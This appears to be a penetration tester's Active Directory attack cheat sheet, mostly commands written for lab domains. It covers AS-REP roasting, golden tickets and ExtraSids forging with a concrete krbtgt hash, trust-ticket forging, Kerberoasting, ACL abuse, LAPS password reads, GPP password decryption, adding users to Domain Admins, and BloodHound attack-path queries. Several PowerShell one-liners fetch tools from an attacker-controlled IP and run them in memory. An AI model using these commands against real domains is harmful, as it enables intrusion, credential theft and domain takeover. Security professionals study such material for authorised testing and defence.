LDAP operations including Mimikatz DCSync: LDAP
Windows Remote Server Administration Tools: RPCSS, LDAP, CIFS
SQL servers, instances: MSSQLSvc
RDP: TERMSERV
Exachange Client Access Servers: exchangeMDB
Microsoft SCCM: CmRcService
#Service Principal Names (SPNs) Descriptions - https://adsecurity.org/?page_id=183
## kerberos pre-authentication
GetNPUsers.py: This example will attempt to list and get TGTs for those users that have the property 'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH). Output is compatible with JtR.
GetNPUsers.py corp.local/ -dc-ip 172.16.1.5 -request -format hashcat -outputfile output_AS_REP_responses_file
$krb5asrep$23$
## SID Hopping Up Intra-Forest Trusts - ExtraSids - if you compromise the domain controller of a child domain in a forest, you can compromise its entire parent domain
prerequisits: krbtgt NTLM on child domain
Get-DomainSID -Domain dev.ADMIN.OFFSHORE.COM # child domain
S-1-5-21-1416445593-394318334-2645530166
Get-DomainSID -Domain ADMIN.OFFSHORE.COM # parent domain
S-1-5-21-1216317506-3509444512-4230741538
kerberos::golden /domain:dev.ADMIN.OFFSHORE.COM /sid:S-1-5-21-1416445593-394318334-2645530166 /sids:S-1-5-21-1216317506-3509444512-4230741538-519 /rc4:9404def404bc198fd9830a3483869e78 /user:administrator /ptt
## Golden Trust Ticket (on DC)
In order for authentication to occur across a domain trust, the kerberos key distribution centers (KDCs) in two domains must have a shared secret, called an inter-realm key.
This key is derived from a shared password, and rotates approximately every 30 days. Parent-child domains share an inter-realm key implicitly.
When a user in domain A tries to authenticate or access a resource in domain B that he has established access to, he presents his ticket-granting-ticket (TGT) and request for a service ticket to the KDC for domain A.
The KDC for A determines that the resource is not in its realm, and issues the user a referral ticket.
This referral ticket is a ticket-granting-ticket (TGT) encrypted with the inter-realm key shared by domain A and B.
sekurlsa::trust
sekurlsa::trust /patch
kerberos::golden /domain:A.local /sid:S-1-5-21-1415 /rc4:273891243234 /user:administrator /service:krbtgt /target:B.local /ticket:rainbow.administrator.A.local@B.local.kirbi
asktgs rainbow.administrator.A.local@B.local.kirbi cifs/pc.B.local cifs/dc.B.local
kirbikator lsa cifs.pc.B.local.kirbi cifs.dc.B.local.kirbi
## Sensitive file hunting script
using powershell to check sensitive file which is even hidden in c:\users or C:\ folder, can define it manually
dir c:\ /b /s | findstr "flag.txt"
####################################################################################################
######################################## Domain Recon #######################################
####################################################################################################
## Check powershell module location and modules
$env:PSModulePath
Get-Module
## AdminCount=1
When a user, group, or computer is added, either directly or transitively, to any of a specific set of protected groups its value is updated to 1
## Abusable ACEs
ForceChangePassword # The ability to change the target user’s password without knowing the current value. Abused with Set-DomainUserPassword.
AddMembers # The ability to add arbitrary users, groups or computers to the target group. Abused with Add-DomainGroupMember.
GenericAll # Full object control, including the ability to add other principals to a group, change a user password without knowing its current value, register an SPN with a user object, etc. Abused with Set-DomainUserPassword or Add-DomainGroupMember.
GenericWrite # The ability to update any non-protected target object parameter value. For example, update the “scriptPath” parameter value on a target user object to cause that user to run your specified executable/commands the next time that user logs on. Abused with Set-DomainObject.
WriteOwner # The ability to update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they see fit. Abused with Set-DomainObjectOwner.
WriteDACL # The ability to write a new ACE to the target object’s DACL. For example, an attacker may write a new ACE to the target object DACL giving the attacker “full control” of the target object. Abused with Add-NewADObjectAccessControlEntry.
AllExtendedRights # The ability to perform any action associated with extended Active Directory rights against the object. For example, adding principals to a group and force changing a target user’s password are both examples of extended rights. Abused with Set-DomainUserPassword or Add-DomainGroupMember.
## Object-specific Rights we care about
Users:
Computers:
User-Force-Change-Password, write to ServicePrincipalName, no password required, trusted for Kerberos delegation, read the value of LAPS passwords
Unconstrained Delegation
Groups: write to member property
GPOs: modification of GPC-File-Sys-Path
Domains: WriteDacl to add DCSync right
## Get a specified user
Get-ADUser -Filter "Name -eq 'ChewDavid'" -SearchBase "DC=AppNC" -Properties "mail" -Server lds.Fabrikam.com:50000
## get a specified service account
Get-ADServiceAccount -Identity web_svc -Properties *
## Attributes of domain user
Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll
Name Value
---- -----
SCRIPT 1
ACCOUNTDISABLE 2
HOMEDIR_REQUIRED 8
LOCKOUT 16
PASSWD_NOTREQD 32
PASSWD_CANT_CHANGE 64
ENCRYPTED_TEXT_PWD_ALLOWED 128
TEMP_DUPLICATE_ACCOUNT 256
NORMAL_ACCOUNT 512+
INTERDOMAIN_TRUST_ACCOUNT 2048
WORKSTATION_TRUST_ACCOUNT 4096
SERVER_TRUST_ACCOUNT 8192
DONT_EXPIRE_PASSWORD 65536+
MNS_LOGON_ACCOUNT 131072
SMARTCARD_REQUIRED 262144
TRUSTED_FOR_DELEGATION 524288
NOT_DELEGATED 1048576
USE_DES_KEY_ONLY 2097152
DONT_REQ_PREAUTH 4194304
PASSWORD_EXPIRED 8388608
TRUSTED_TO_AUTH_FOR_DELEGATION 16777216
PARTIAL_SECRETS_ACCOUNT 67108864
## ADACLScanner
https://github.com/canix1/ADACLScanner
A tool with GUI or command linte used to create reports of access control lists (DACLs) and system access control lists (SACLs) in Active Directory.
PS C:\scripts> .\ADACLScanner.ps1 -Base "DC=contoso,DC=com" -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal User1 -Output HTML -Show
## Bloodhound
sudo neo4j console
/opt/BloodHound/BloodHound-linux-x64/BloodHound --no-sandbox
on victim:
SharpHound.exe --CollectionMethod All # Run Under Admin Privilege!!!
SharpHound.exe --CollectionMethod Session --Loop --Loopduration 01:00:00
SharpHound.exe --CollectionMethod All --Domain dev.ADMIN.OFFSHORE.COM # By default, the SharpHound will only extract the data from current domain. For other trusted domain, it requires to be specified.
## Invoke-BloodHound for domain recon
powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('http://10.10.14.5:8888/SharpHound.ps1');Invoke-BloodHound -CollectionMethod All"
PS C:\> Invoke-BloodHound
PS C:\> Invoke-BloodHound -Loop -LoopInterval 00:01:00 -LoopDuration 00:10:00
PS C:\> Invoke-BloodHound -CollectionMethod All
## Find all computers
MATCH p = (d:Domain)-[r:Contains*1..]->(c:Computer) RETURN p
MATCH p = (d:Domain)-[r:Contains*1..]->(c:Computer) WHERE c.owned = true RETURN p
## Find all users
MATCH p = (d:Domain)-[r:Contains*1..]->(u:User) RETURN p
MATCH p = (d:Domain)-[r:Contains*1..]->(u:User) WHERE u.owned = true RETURN p
## Shortest Path from All Owned Objects - 3 hops
MATCH p=shortestPath((c {owned: true})-[*1..3]->(s)) WHERE NOT c = s RETURN p
## Shortest Path from Owned Computers - max hops
MATCH p=shortestPath((c {owned: true})-[*1..]->(s:Computer)) WHERE NOT c = s RETURN p
MATCH p=shortestPath((c {owned: true, domain:"CORP.LOCAL"})-[*1..]->(s:Computer)) WHERE NOT c = s RETURN p
## Shortest Path from Owned Users - 2 hops
MATCH p=shortestPath((c {owned: true})-[*1..2]->(s:User)) WHERE NOT c = s RETURN p
MATCH p=shortestPath((c {owned: true, domain:"CORP.LOCAL"})-[*1..2]->(s:User)) WHERE NOT c = s RETURN p
## Find the active user sessions on all domain computers:
MATCH p1=shortestPath(((u1:User)-[r1:MemberOf*1..]->(g1:Group))) MATCH p2=(c:Computer)-[*1]->(u1) RETURN p2
## All Shortest Paths to Domain (including Computers)
MATCH p = allShortestPaths((uc)-[r:{}*1..]->(d:Domain)) WHERE (uc:User OR uc:Computer) RETURN p
## Find LAPS enabled computers
MATCH p = (d:Domain)-[r:Contains*1..]->(c:Computer) WHERE c.haslaps = true RETURN p
## All Shortest Paths to LAPS enabled computers
MATCH p = allShortestPaths((uc)-[r:{}*1..]->(c:Computer)) WHERE (uc:User OR uc:Computer) AND NOT uc = c AND c.haslaps = true RETURN p
## Find LAPS disabled computers
MATCH p = (d:Domain)-[r:Contains*1..]->(c:Computer) WHERE c.haslaps = false RETURN p
## All Shortest Paths to no LAPS
MATCH p = allShortestPaths((uc)-[r:{}*1..]->(c:Computer)) WHERE (uc:User OR uc:Computer) AND NOT uc = c AND c.haslaps = false RETURN p
## All Shortest Paths from Kerberoastable Users to Computers
MATCH p = allShortestPaths((u:User)-[r:{}*1..]->(c:Computer)) WHERE u.hasspn = true RETURN p
## All Shortest Paths from Kerberoastable Users to High Value Targets
MATCH p = allShortestPaths((u:User)-[r:{}*1..]->(h)) WHERE u.hasspn = true AND h.highvalue = true RETURN p
## All Shortest Paths from Owned User
MATCH p = allShortestPaths((u:User)-[r:{}*1..]->(a)) WHERE u.owned = true AND u <> a RETURN p
## All Shortest Paths from Owned Principals to Domain
MATCH p = allShortestPaths((o)-[r:{}*1..]->(d:Domain)) WHERE o.owned = true RETURN p
## All Shortest Paths from Owned Principals to High Value Targets
MATCH p = allShortestPaths((o)-[r:{}*1..]->(h)) WHERE o.owned = true AND h.highvalue = true RETURN p
## All Shortest Paths from Owned Principals to no LAPS
MATCH p = allShortestPaths((o)-[r:{}*1..]->(c:Computer)) WHERE NOT o = c AND o.owned = true AND c.haslaps = false RETURN p
## All Shortest Paths from no Signing to Domain
MATCH p = allShortestPaths((c:Computer)-[r:{}*1..]->(d:Domain)) WHERE c.hassigning = false RETURN p
## All Shortest Paths from no Signing to High Value Targets
MATCH p = allShortestPaths((c:Computer)-[r:{}*1..]->(d:Domain)) WHERE c.hassigning = false RETURN p
## All Constrained Delegations
MATCH p = (a)-[:AllowedToDelegate]->(c:Computer) RETURN p
## All Computers Allowed to Delegate for Another Computer
MATCH p = (c1:Computer)-[:AllowedToDelegate]->(c2:Computer) RETURN p
## All ACLs to Computers (excluding High Value Targets)
MATCH p = (ucg)-[r]->(c:Computer) WHERE (ucg:User OR ucg:Computer OR ucg:Group) AND ucg.highvalue = false AND r.isacl = true RETURN p
## All Computers Local Admin to Another Computer
MATCH p = (ucg)-[r]->(c:Computer) WHERE (ucg:User OR ucg:Computer OR ucg:Group) AND ucg.highvalue = false AND r.isacl = true RETURN p
## All Owned Principals
MATCH p = (d:Domain)-[r:Contains*1..]->(h) WHERE h.highvalue = true RETURN p
## All Users with \"Pass\" in AD Description
MATCH p = (d:Domain)-[r:Contains*1..]->(u:User) WHERE u.description =~ '(?i).*pass.*' RETURN p
## All Users with Password not Required
MATCH p = (d:Domain)-[r:Contains*1..]->(u:User) WHERE u.passwordnotreqd = true RETURN p
## Find interesting edges related to “ACL Abuse” that uprivileged users have against other users:
MATCH (n:User {admincount:False}) MATCH (m:User) WHERE NOT m.name = n.name MATCH p=allShortestPaths((n)-[r:AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner*1..]->(m)) RETURN p
## Find interesting edges related to “ACL Abuse” that unprivileged users have against computers:
MATCH (n:User {admincount:False}) MATCH p=allShortestPaths((n)-[r:AllExtendedRights|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|AdminTo|CanRDP|ExecuteDCOM|ForceChangePassword*1..]->(m:Computer)) RETURN p
## Find if unprivileged users have rights to add members into groups:
MATCH (n:User {admincount:False}) MATCH p=allShortestPaths((n)-[r:AddMember*1..]->(m:Group)) RETURN p
## Find only the AdminTo privileges (edges) of the domain users against the domain computers:
MATCH p1=shortestPath(((u1:User)-[r1:MemberOf*1..]->(g1:Group))) MATCH p2=(c:Computer)-[*1]->(u1) RETURN p2
## find the shortest path from a not high value node to a specific user group
MATCH p=shortestPath((u {highvalue: false})-[*1..]->(g:Group {name: 'DOMAIN ADMINS@CORP.LOCAL'})) WHERE NOT (u)-[:MemberOf*1..]->(:Group {highvalue: true}) RETURN p
## Shortest paths to Domain Admins group from the Domain Users group:
MATCH p=(m:Computer)-[r:HasSession]->(n:User {domain: "CORP.LOCAL"}) RETURN p
## Shortest paths to Domain Admins group from non privileged users:
MATCH (n:User {admincount:false}),(m:Group {name:'DOMAIN ADMINS@corp.local'}),p=shortestPath((n)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct*1..]->(m)) RETURN p
## Find all the Edges that any UNPRIVILEGED user (based on the admincount:False) has against all the nodes:
MATCH (n:User {admincount:false}),(m:Group {name:'DOMAIN ADMINS@corp.local'}),p=shortestPath((n)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct*1..]->(m)) RETURN p
################################################################################
################### Domain Enumeration + Exploitation ##########################
################################################################################
## import AD module
import-module ActiveDirectory
## if not installed AD module on the target
C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.ActiveDirectory.Management
Import-Module .\Microsoft.ActiveDirectory.Management.dll
Get-Command get-adcom* # check if AD module imported successfully
## Check for accounts that don't have password expiry set - "Non expiring passwords are bad. Especially if it's a regular unexpected user, might be IOC [indicator of compromise] then."
Get-ADUser -Server "Dc02.dev.ADMIN.OFFSHORE.COM" -Filter 'useraccountcontrol -band 65536' -Properties useraccountcontrol | export-csv U-DONT_EXPIRE_PASSWORD.csv
Get-ADcomputer -Filter 'useraccountcontrol -band 65536' -Properties useraccountcontrol
Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=65536)"
## Check for accounts that have no password requirement
Get-ADUser -Server "Dc02.dev.ADMIN.OFFSHORE.COM" -Filter 'useraccountcontrol -band 32' -Properties useraccountcontrol | export-csv U-PASSWD_NOTREQD.csv
Get-ADcomputer -Server "Dc02.dev.ADMIN.OFFSHORE.COM" -Filter 'useraccountcontrol -band 32' -Properties useraccountcontrol
$Cred = New-Object System.Management.Automation.PSCredential('dev.ADMIN.OFFSHORE.COM\joe', (new-object System.Security.SecureString))
Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=32)"
## Accounts that have the password stored in a reversibly encrypted format - "Because storing your password in reversible encryption is really bad."
Get-ADUser -Server "Dc02.dev.ADMIN.OFFSHORE.COM" -Filter 'useraccountcontrol -band 128' -Properties useraccountcontrol | export-csv U-ENCRYPTED_TEXT_PWD_ALLOWED.csv
Get-ADcomputer -Filter 'useraccountcontrol -band 128' -Properties useraccountcontrol
Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=128)"
## List users that are trusted for Kerberos delegation - "Because unconstrained Kerberos delegation means that random service account can make Kerberos tickets for EVERYONE"
Get-ADUser -Server "Dc02.dev.ADMIN.OFFSHORE.COM" -Filter 'useraccountcontrol -band 524288' -Properties useraccountcontrol | export-csv U-TRUSTED_FOR_DELEGATION.csv
Get-ADcomputer -Filter 'useraccountcontrol -band 524288' -Properties useraccountcontrol
Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
## List accounts that don't require pre-authentication - "Pre auth puts your time stamp encrypted into the request to help against attacks."
Get-ADUser -Server "Dc02.dev.ADMIN.OFFSHORE.COM" -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | export-csv U-DONT_REQUIRE_PREAUTH.csv
Get-ADcomputer -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol
Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=4194304)"
## List accounts that have credentials encrypted with DES - "Because DES = plaintext essentially."
Get-ADUser -Server "Dc02.dev.ADMIN.OFFSHORE.COM" -Filter 'useraccountcontrol -band 2097152' -Properties useraccountcontrol | export-csv U-USE_DES_KEY_ONLY.csv
Get-ADcomputer -Filter 'useraccountcontrol -band 2097152' -Properties useraccountcontrol
Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=2097152)"
## LAPS - Check if unprivileged domain accounts, able to read the value of LAPS passwords
The local admin password is stored in the confidential ms-Mcs-AdmPwd attribute on computer objects
Right to read AdmPwd: DS_Control_Accessss/GnericAll/Owner/WriteDCAL/WriteOwner
### LAPSToolkit
https://github.com/leoloobeek/LAPSToolkit/LAPSToolkit.ps1
Get-LAPSComputers # Displays all computers with LAPS enabled, password expriation, and password if user has access
Find-LAPSDelegatedGroups # Searches through all OUs to see which AD groups can read the ms-Mcs-AdmPwd attribute
Find-AdmPwdExtendedRights # Parses through ExtendedRights for each AD computer with LAPS enabled and looks for which group has read access and if any user has "All Extended Rights".
Find-AdmPwdExtendedRights # "Audits" who can read ms-Mcs-AdmPwd
Get-DomainComputer FS01 -Properties name,ms-mcs-AdmPwd
or
use AD Explorer -> search container -> class: common classes -> Attribute: ms-Mcs-AdmPwd -> Relation: not empty
Once found it, you can login as local administrator.
## Enumerate User DACLs
$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid
Get-DomainObjectACL -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}
## Enumerate Foreign Group
Get-DomainForeignGroupMember -Domain ops.comply.com
## Enumerate domain trust mapping
Get-DomainTrustMapping
## Check who can set Unconstrained Delegation
1. User with SeEnableDelegationPrivilege enabled (Local Security Policy of a domain controller and managed through Group Policy)
Get-DomainUser -AllowDelegation -AdminCount
2. Object permissions to msDS-AllowedToDelegateTo attribute, userAccountControl, and/or servicePrincipalName
Get-DomainComputer -Unconstrained
## Check Constrained Delegation
Get-DomainUser -TrustedToAuth # Hunting for user accounts that have kerberos constrained delegation enabled
Attribute msds-allowedtodelegateto # Identifies the SPNs of services
Attribute useraccountcontrol # TRUSTED_TO_AUTH_FOR_DELEGATION
Get-DomainComputer -TrustedToAuth | select name, msds-allowedtodelegateto, useraccountcontrol | fl # Hunting for computer accounts that have kerberos constrained delegation enabled
Get-DomainComputer ws02 | Select-Object -ExpandProperty msds-allowedtodelegateto | fl # Identifies the SPNs of services
## To find out which user could remotely access one remote computer,try Get-NetLocalGroups and Get-NetLocalGroupMember.(The function only returns information to which the caller has Read access.)
The users in BUILTIN\Administrators and BUILTIN\Remote Desktop Users can using RDP
The users in BUILTIN\Administrators and BUILTIN\Remote Management Users can using WinRM
The domain computer was assigned GPO which enabled "Computer Configuration > Policies > Windows Settings > Security Settings > Restricted Groups -> Add Group -> domain group"
Get-NetLocalGroup -ComputerName primary.testlab.local
Get-NetLocalGroupMember -ComputerName primary.testlab.local | ft
## Enumerate Network Shares
### scan an entire domain:
find-domainshare -computerdomain burmat.local
### narrow down scope, check permissions:
find-domainshare -computername websrv.burmat.local -computerdomain burmat.local -CheckShareAccess
## PowerView - https://github.com/PowerShellMafia/PowerSploit/tree/dev/Recon
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1');
Invoke-Expression (New-Object Net.WebClient).DownloadString('http://10.10.14.2:8000/PowerView.ps1');
## Misc Functions:
Export-PowerViewCSV - thread-safe CSV append
Resolve-IPAddress - resolves a hostname to an IP
ConvertTo-SID - converts a given user/group name to a security identifier (SID)
Convert-ADName - converts object names between a variety of formats
ConvertFrom-UACValue - converts a UAC int value to human readable form
Add-RemoteConnection - pseudo "mounts" a connection to a remote path using the specified credential object
Remove-RemoteConnection - destroys a connection created by New-RemoteConnection
Invoke-UserImpersonation - creates a new "runas /netonly" type logon and impersonates the token
Invoke-RevertToSelf - reverts any token impersonation
Get-DomainSPNTicket - request the kerberos ticket for a specified service principal name (SPN)
Invoke-Kerberoast - requests service tickets for kerberoast-able accounts and returns extracted ticket hashes
Get-PathAcl - get the ACLs for a local/remote file path with optional group recursion
## Domain/LDAP Functions
Get-DomainDNSZone - enumerates the Active Directory DNS zones for a given domain
Get-DomainDNSRecord - enumerates the Active Directory DNS records for a given zone
Get-Domain - returns the domain object for the current (or specified) domain
Get-DomainController - return the domain controllers for the current (or specified) domain
Get-Forest - returns the forest object for the current (or specified) forest
Get-ForestDomain - return all domains for the current (or specified) forest
Get-ForestGlobalCatalog - return all global catalogs for the current (or specified) forest
Find-DomainObjectPropertyOutlier- inds user/group/computer objects in AD that have 'outlier' properties set
Get-DomainUser - return all users or specific user objects in AD
New-DomainUser - creates a new domain user (assuming appropriate permissions) and returns the user object
Set-DomainUserPassword - sets the password for a given user identity and returns the user object
Get-DomainUserEvent - enumerates account logon events (ID 4624) and Logon with explicit credential events
Get-DomainComputer - returns all computers or specific computer objects in AD
Get-DomainObject - returns all (or specified) domain objects in AD
Set-DomainObject - modifies a gven property for a specified active directory object
Get-DomainObjectAcl - returns the ACLs associated with a specific active directory object
Add-DomainObjectAcl - adds an ACL for a specific active directory object
Find-InterestingDomainAcl - finds object ACLs in the current (or specified) domain with modification rights set to non-built in objects
Get-DomainOU - search for all organization units (OUs) or specific OU objects in AD
Get-DomainSite - search for all sites or specific site objects in AD
Get-DomainSubnet - search for all subnets or specific subnets objects in AD
Get-DomainSID - returns the SID for the current domain or the specified domain
Get-DomainGroup - return all groups or specific group objects in AD
New-DomainGroup - creates a new domain group (assuming appropriate permissions) and returns the group object
Get-DomainManagedSecurityGroup - returns all security groups in the current (or target) domain that have a manager set
Get-DomainGroupMember - return the members of a specific domain group
Add-DomainGroupMember - adds a domain user (or group) to an existing domain group, assuming appropriate permissions to do so
Get-DomainFileServer - returns a list of servers likely functioning as file servers
Get-DomainDFSShare - returns a list of all fault-tolerant distributed file systems for the current (or specified) domain
## GPO functions
Get-DomainGPO - returns all GPOs or specific GPO objects in AD
Get-DomainGPOLocalGroup - returns all GPOs in a domain that modify local group memberships through 'Restricted Groups' or Group Policy preferences
Get-DomainGPOUserLocalGroupMapping - enumerates the machines where a specific domain user/group is a member of a specific local group, all through GPO correlation
Get-DomainGPOComputerLocalGroupMapping - takes a computer (or GPO) object and determines what users/groups are in the specified local group for the machine through GPO correlation
Get-DomainPolicy - returns the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller
## Computer Enumeration Functions
Get-NetLocalGroup - enumerates the local groups on the local (or remote) machine
Get-NetLocalGroupMember - enumerates members of a specific local group on the local (or remote) machine
Get-NetShare - returns open shares on the local (or a remote) machine
Get-NetLoggedon - returns users logged on the local (or a remote) machine
Get-NetSession - returns session information for the local (or a remote) machine
Get-RegLoggedOn - returns who is logged onto the local (or a remote) machine through enumeration of remote registry keys
Get-NetRDPSession - returns remote desktop/session information for the local (or a remote) machine
Test-AdminAccess - rests if the current user has administrative access to the local (or a remote) machine
Get-NetComputerSiteName - returns the AD site where the local (or a remote) machine resides
Get-WMIRegProxy - enumerates the proxy server and WPAD conents for the current user
Get-WMIRegLastLoggedOn - returns the last user who logged onto the local (or a remote) machine
Get-WMIRegCachedRDPConnection - returns information about RDP connections outgoing from the local (or remote) machine
Get-WMIRegMountedDrive - returns information about saved network mounted drives for the local (or remote) machine
Get-WMIProcess - returns a list of processes and their owners on the local or remote machine
Find-InterestingFile - searches for files on the given path that match a series of specified criteria
## Threaded 'Meta'-Functions
Find-DomainUserLocation - finds domain machines where specific users are logged into
Find-DomainProcess - finds domain machines where specific processes are currently running
Find-DomainUserEvent - finds logon events on the current (or remote domain) for the specified users
Find-DomainShare - finds reachable shares on domain machines
Find-InterestingDomainShareFile - searches for files matching specific criteria on readable shares in the domain
Find-LocalAdminAccess - finds machines on the local domain where the current user has local administrator access
Find-DomainLocalGroupMember - enumerates the members of specified local group on machines in the domain
## Domain Trust Functions
Get-DomainTrust - returns all domain trusts for the current domain or a specified domain
Get-ForestTrust - returns all forest trusts for the current forest or a specified forest
Get-DomainForeignUser - enumerates users who are in groups outside of the user's domain
Get-DomainForeignGroupMember - enumerates groups with users outside of the group's domain and returns each foreign member
Get-DomainTrustMapping - this function enumerates all trusts for the current domain and then enumerates all trusts for each domain it finds
## Examples
Find-DomainUserLocation -UserAdminCount -Domain dev.ADMIN.OFFSHORE.COM # Enumerates computers in dev.testlab.local and returns user results for privileged users in dev.testlab.local.
Find-DomainUserLocation -Domain dev.ADMIN.OFFSHORE.COM -UserIdentity svc_devops -UserDomain corp.local -CheckAccess
Get-NetLocalGroup -ComputerName DC02.dev.ADMIN.OFFSHORE.COM # Enumerates the local groups on the local (or remote) machine.
Get-NetLocalGroupMember -ComputerName DC02.dev.ADMIN.OFFSHORE.COM -GroupName CORP_admins | ft # Enumerates members of a specific local group on the local (or remote) machine.
Find-DomainShare -CheckShareAccess|Out-File -FilePath sharefinder.txt # Look for shares on network and check access under current user context & Log to file
Find-DomainShare -Domain testlab.local -Credential $Cred # Searches for domain shares in the testlab.local domain using the specified alternate credentials.
Get-DomainGroup "Domain Admins" | Get-DomainGroupMember # Discover Admin Accounts: Group Enumeration
Get-DomainGroup "*admins*" | Get-DomainGroupMember -Recurse | ?{$_.MmberName -Like '*$'} # Attack of the Machines - find Computers with Admin Rights
Get-DomainGroup "*admins*" | Get-DomainGroupMember -Recurse | ?{$_.MmberName -Like '*.*'} # Discover Users with Admin Rights
Get-DomainGroup "*Hyper*" | Get-DomainGroupMember # Discover Virtual Admins
Get-DomainGroup "*VMWare*" | Get-DomainGroupMember # Discover Virtual Admins
Get-DomainGroup "*admin*"" | select distinguishedname
Get-DomainGroup "*admin*"" -Properties samaccountname | Get-DomainGroupMember
Get-DomainGroup -Domain dev.ADMIN.OFFSHORE.COM -Credential $cred | select distinguishedname
Get-DomainGroup -Properties samaccountname -Identity 'S-1-5-21-890171859-3433809279-3366196753-1117' | fl
"Power Users" | Get-DomainGroupMember -Domain testing # gets a list of all current users in a specified domain group
"Denied RODC Password Replication Group" | Get-DomainGroupMember # Discover Admin Accounts – RODC Groups
"Cumtomized Domain Group Name"| Get-DomainGroupMember
'Desktop Admins' | Get-DomainGroupMember -Recurse
Get-DomainObjectAcl -domain corp.local -Identity svc_testldap # returns the ACLs associated with a specific active directory object
Get-DomainObject -Identity "dc=ADMIN,dc=OFFSHORE,dc=COM" -Domain dev.ADMIN.OFFSHORE.COM # returns domain object attributes
Get-DomainController -Domain dev.ADMIN.OFFSHORE.COM # returns domain controller information
Get-DomainUser -Identity svc_testldap -Domain corp.local # returns all user objects, or the user specified (wildcard specifiable)
Get-DomainUser -AdminCount | Select name, whencreated, pwdlastset, lastlogon # Discover Admin Accounts – AdminCount = 1
Get-DomainUser "S-1-5-21-2291914956-3290296217-2402366952-3609","administrator" # Return the user with the given SID, as well as Administrator.
New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword -Credential $Cred
New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' -Credential $Cred
Get-DomainComputer | select cn # get all computer name
Get-DomainComputer | foreach-object {Resolve-IPAddress $_.cn} # get all computer IP
Get-DomainComputer -Credential $cred -Domain dev.ADMIN.OFFSHORE.COM # Discover computer's in domain dev.ADMIN.OFFSHORE.COM
Get-DomainComputer -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -Unconstrained -Credential $Cred # Search the specified OU for computeres that allow unconstrained delegation.
Get-DomainSID -Domain dev.ADMIN.OFFSHORE.COM # S-1-5-21-1416445593-394318334-2645530166
Get-DomainSID -Domain ADMIN.OFFSHORE.COM # S-1-5-21-1216317506-3509444512-4230741538
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred # Adds harmj0y to 'Domain Admins' in the current domain using the alternate credentials.
Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword # This function modifies the ACL/ACE entries for a given Active Directory target object specified by TargetIdentity. Available -Rights are 'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended rights GUID can be set with -RightsGUID.
Add-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights All
Get-DomainPolicyData -Domain dev.testlab.local # Returns the default domain policy for the dev.testlab.local domain.
Get-GPODelegation # Returns all GPO delegations in current forest.
Get-DomainGPO -ComputerName windows1.testlab.local # Returns all GPOs applied windows1.testlab.local
Get-DomainGPOLocalGroup 'Desktops' # Return any GPO-set groups for the GPO with the given display name.
Get-DomainGPOUserLocalGroupMapping -Identity dfm -Domain dev.testlab.local # Find all computers that dfm user has local administrator rights to in the dev.testlab.local domain.
Get-DomainGPOComputerLocalGroupMapping -ComputerName WINDOWS3.testlab.local # Finds users who have local admin rights over WINDOWS3 through GPO correlation.
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat JTR # Request kerberos service tickets for all users with non-null SPNs and output in JTR format.
Get-DomainSPNTicket -SPN "HTTP/web.testlab.local" # Request a kerberos service ticket for the specified SPN.
"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket # Request kerberos service tickets for all SPNs passed on the pipeline.
Find-InterestingDomainAcl -domain corp.local -SamAccountName svc_testldap # enumerate -1000+ modifable ACLs on a specified domain
Find-InterestingDomainAcl ResolveGUIDs -ADSpath 'OU=Accounts,DC=corp,DC=local'| where {$_.ActiveDirectoryRights -eq 'GenericAll'} # Follow the Delegation
Get-DecryptedCpassword 'WEEDSA89Dy8df9as0fh907dshaas' # Decrypt password from Group Policy Preferences \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\
Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local -ProcessName putty.exe -Credential $Cred
## PowerMad - https://github.com/Kevin-Robertson/Powermad
Invoke-Expression (New-Object Net.WebClient).DownloadString('http://10.10.14.2:8000/Powermad.ps1');
Get-MachineAccountAttribute -MachineAccount test -Attribute discription
Get-MachineAccountCreator
Disable-MachineAccount -MachineAccount test
Enable-MachineAccount -MachineAccount test
New-MachineAccount -MachineAccount test
